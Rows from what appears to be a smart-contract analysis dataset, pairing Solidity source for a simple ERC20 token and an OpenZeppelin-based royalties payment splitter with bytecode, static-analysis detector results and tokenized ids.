6c634300080b0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}} | true | null | {'detectors': [{'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}]} | [
101,
1014,
2595,
2683,
22275,
2683,
2475,
2546,
16932,
2475,
10354,
2487,
2278,
12521,
2546,
2575,
2063,
23499,
2620,
2683,
2581,
4246,
2683,
2497,
2692,
2683,
2278,
28154,
2683,
28756,
2575,
2497,
12376,
2278,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
14246,
2140,
1011,
1017,
1012,
1014,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
2340,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
19204,
1013,
9413,
2278,
11387,
1013,
14305,
1013,
9413,
2278,
11387,
8022,
3085,
1012,
14017,
1000,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
3229,
1013,
2219,
3085,
1012,
14017,
1000,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
3036,
1013,
2128,
4765,
5521,
5666,
18405,
1012,
14017,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,480 | 0x95395b958d987c993836a9203c6e8576a7c595cb | // SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
_decimals = 4;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
contract BOFB is ERC20 {
constructor () ERC20("BofB Coin", "BOFB") {
_mint(msg.sender, 8000000000 * (10 ** uint256(decimals())));
}
} | 0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461025857806370a08231146102bc57806395d89b4114610314578063a457c2d714610397578063a9059cbb146103fb578063dd62ed3e1461045f576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b66104d7565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610579565b60405180821515815260200191505060405180910390f35b61019d610597565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105a1565b60405180821515815260200191505060405180910390f35b61023f61067a565b604051808260ff16815260200191505060405180910390f35b6102a46004803603604081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610691565b60405180821515815260200191505060405180910390f35b6102fe600480360360208110156102d257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610744565b6040518082815260200191505060405180910390f35b61031c61078c565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561035c578082015181840152602081019050610341565b50505050905090810190601f1680156103895780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103e3600480360360408110156103ad57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061082e565b60405180821515815260200191505060405180910390f35b6104476004803603604081101561041157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108fb565b60405180821515815260200191505060405180910390f35b6104c16004803603604081101561047557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610919565b6040518082815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561056f5780601f106105445761010080835404028352916020019161056f565b820191906000526020600020905b81548152906001019060200180831161055257829003601f168201915b5050505050905090565b600061058d610586610a28565b8484610a30565b6001905092915050565b6000600254905090565b60006105ae848484610c27565b61066f846105ba610a28565b61066a8560405180606001604052806028815260200161101960289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610620610a28565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ee89092919063ffffffff16565b610a30565b600190509392505050565b6000600560009054906101000a900460ff16905090565b600061073a61069e610a28565b8461073585600160006106af610a28565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109a090919063ffffffff16565b610a30565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108245780601f106107f957610100808354040283529160200191610824565b820191906000526020600020905b81548152906001019060200180831161080757829003601f168201915b5050505050905090565b60006108f161083b610a28565b846108ec8560405180606001604052806025815260200161108a6025913960016000610865610a28565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ee89092919063ffffffff16565b610a30565b6001905092915050565b600061090f610908610a28565b8484610c27565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600080828401905083811015610a1e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ab6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806110666024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180610fd16022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110416025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180610fae6023913960400191505060405180910390fd5b610d3e838383610fa8565b610da981604051806060016040528060268152602001610ff3602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ee89092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e3c816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109a090919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610f95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f5a578082015181840152602081019050610f3f565b50505050905090810190601f168015610f875780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220bfd2d7b563966f9e47b96deef0f623e536ead8649f11914f1d7d217baad8ea0264736f6c63430007060033 | {"success": true, "error": null, "results": {}} | true | null | {} | [
101,
1014,
2595,
2683,
22275,
2683,
2629,
2497,
2683,
27814,
2094,
2683,
2620,
2581,
2278,
2683,
2683,
22025,
21619,
2050,
2683,
11387,
2509,
2278,
2575,
2063,
27531,
2581,
2575,
2050,
2581,
2278,
28154,
2629,
27421,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1028,
1027,
1014,
1012,
1020,
1012,
1014,
1026,
1014,
1012,
1022,
1012,
1014,
1025,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
3477,
3085,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
3853,
1035,
5796,
2290,
2850,
2696,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
27507,
3638,
1007,
1063,
2023,
1025,
2709,
5796,
2290,
1012,
2951,
1025,
1065,
1065,
3075,
3647,
18900,
2232,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,481 | 0x9539D62F5D82A7B67B319Bd362A046504e21bd1a | //SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
import "./NieuxPaymentSplitter.sol";
contract NieuxRoyaltiesSplitter is NieuxPaymentSplitter {
constructor(
address[] memory payees_,
uint256[] memory shares
) NieuxPaymentSplitter(payees_, shares) { }
}
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
abstract contract NieuxPaymentSplitter is PaymentSplitter, Ownable {
address[] private payees;
mapping(address => bool) private payeesMapping;
constructor(
address[] memory payees_,
uint256[] memory shares
) PaymentSplitter(payees_, shares) {
payees = payees_;
for (uint256 i = 0; i < payees_.length; i++) {
payeesMapping[payees_[i]] = true;
}
}
/*******************
withdraw/release payments
*/
function releaseAll()
public
virtual
{
require(payeesMapping[msg.sender] == true, "caller must be a payee");
for (uint256 i = 0; i < payees.length; i++) {
super.release(payable(payees[i]));
}
}
function release(address payable account)
public
override
{
require(payeesMapping[msg.sender] == true, "caller must be a payee");
super.release(account);
}
function release(IERC20 token, address account)
public
override
onlyOwner
{
super.release(token, account);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (finance/PaymentSplitter.sol)
pragma solidity ^0.8.0;
import "../token/ERC20/utils/SafeERC20.sol";
import "../utils/Address.sol";
import "../utils/Context.sol";
/**
* @title PaymentSplitter
* @dev This contract allows to split Ether payments among a group of accounts. The sender does not need to be aware
* that the Ether will be split in this way, since it is handled transparently by the contract.
*
* The split can be in equal parts or in any other arbitrary proportion. The way this is specified is by assigning each
* account to a number of shares. Of all the Ether that this contract receives, each account will then be able to claim
* an amount proportional to the percentage of total shares they were assigned.
*
* `PaymentSplitter` follows a _pull payment_ model. This means that payments are not automatically forwarded to the
* accounts but kept in this contract, and the actual transfer is triggered as a separate step by calling the {release}
* function.
*
* NOTE: This contract assumes that ERC20 tokens will behave similarly to native tokens (Ether). Rebasing tokens, and
* tokens that apply fees during transfers, are likely to not be supported as expected. If in doubt, we encourage you
* to run tests before sending real value to this contract.
*/
contract PaymentSplitter is Context {
event PayeeAdded(address account, uint256 shares);
event PaymentReleased(address to, uint256 amount);
event ERC20PaymentReleased(IERC20 indexed token, address to, uint256 amount);
event PaymentReceived(address from, uint256 amount);
uint256 private _totalShares;
uint256 private _totalReleased;
mapping(address => uint256) private _shares;
mapping(address => uint256) private _released;
address[] private _payees;
mapping(IERC20 => uint256) private _erc20TotalReleased;
mapping(IERC20 => mapping(address => uint256)) private _erc20Released;
/**
* @dev Creates an instance of `PaymentSplitter` where each account in `payees` is assigned the number of shares at
* the matching position in the `shares` array.
*
* All addresses in `payees` must be non-zero. Both arrays must have the same non-zero length, and there must be no
* duplicates in `payees`.
*/
constructor(address[] memory payees, uint256[] memory shares_) payable {
require(payees.length == shares_.length, "PaymentSplitter: payees and shares length mismatch");
require(payees.length > 0, "PaymentSplitter: no payees");
for (uint256 i = 0; i < payees.length; i++) {
_addPayee(payees[i], shares_[i]);
}
}
/**
* @dev The Ether received will be logged with {PaymentReceived} events. Note that these events are not fully
* reliable: it's possible for a contract to receive Ether without triggering this function. This only affects the
* reliability of the events, and not the actual splitting of Ether.
*
* To learn more about this see the Solidity documentation for
* https://solidity.readthedocs.io/en/latest/contracts.html#fallback-function[fallback
* functions].
*/
receive() external payable virtual {
emit PaymentReceived(_msgSender(), msg.value);
}
/**
* @dev Getter for the total shares held by payees.
*/
function totalShares() public view returns (uint256) {
return _totalShares;
}
/**
* @dev Getter for the total amount of Ether already released.
*/
function totalReleased() public view returns (uint256) {
return _totalReleased;
}
/**
* @dev Getter for the total amount of `token` already released. `token` should be the address of an IERC20
* contract.
*/
function totalReleased(IERC20 token) public view returns (uint256) {
return _erc20TotalReleased[token];
}
/**
* @dev Getter for the amount of shares held by an account.
*/
function shares(address account) public view returns (uint256) {
return _shares[account];
}
/**
* @dev Getter for the amount of Ether already released to a payee.
*/
function released(address account) public view returns (uint256) {
return _released[account];
}
/**
* @dev Getter for the amount of `token` tokens already released to a payee. `token` should be the address of an
* IERC20 contract.
*/
function released(IERC20 token, address account) public view returns (uint256) {
return _erc20Released[token][account];
}
/**
* @dev Getter for the address of the payee number `index`.
*/
function payee(uint256 index) public view returns (address) {
return _payees[index];
}
/**
* @dev Triggers a transfer to `account` of the amount of Ether they are owed, according to their percentage of the
* total shares and their previous withdrawals.
*/
function release(address payable account) public virtual {
require(_shares[account] > 0, "PaymentSplitter: account has no shares");
uint256 totalReceived = address(this).balance + totalReleased();
uint256 payment = _pendingPayment(account, totalReceived, released(account));
require(payment != 0, "PaymentSplitter: account is not due payment");
_released[account] += payment;
_totalReleased += payment;
Address.sendValue(account, payment);
emit PaymentReleased(account, payment);
}
/**
* @dev Triggers a transfer to `account` of the amount of `token` tokens they are owed, according to their
* percentage of the total shares and their previous withdrawals. `token` must be the address of an IERC20
* contract.
*/
function release(IERC20 token, address account) public virtual {
require(_shares[account] > 0, "PaymentSplitter: account has no shares");
uint256 totalReceived = token.balanceOf(address(this)) + totalReleased(token);
uint256 payment = _pendingPayment(account, totalReceived, released(token, account));
require(payment != 0, "PaymentSplitter: account is not due payment");
_erc20Released[token][account] += payment;
_erc20TotalReleased[token] += payment;
SafeERC20.safeTransfer(token, account, payment);
emit ERC20PaymentReleased(token, account, payment);
}
/**
* @dev internal logic for computing the pending payment of an `account` given the token historical balances and
* already released amounts.
*/
function _pendingPayment(
address account,
uint256 totalReceived,
uint256 alreadyReleased
) private view returns (uint256) {
return (totalReceived * _shares[account]) / _totalShares - alreadyReleased;
}
/**
* @dev Add a new payee to the contract.
* @param account The address of the payee to add.
* @param shares_ The number of shares owned by the payee.
*/
function _addPayee(address account, uint256 shares_) private {
require(account != address(0), "PaymentSplitter: account is the zero address");
require(shares_ > 0, "PaymentSplitter: shares are 0");
require(_shares[account] == 0, "PaymentSplitter: account already has shares");
_payees.push(account);
_shares[account] = shares_;
_totalShares = _totalShares + shares_;
emit PayeeAdded(account, shares_);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol)
pragma solidity ^0.8.0;
import "../IERC20.sol";
import "../../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
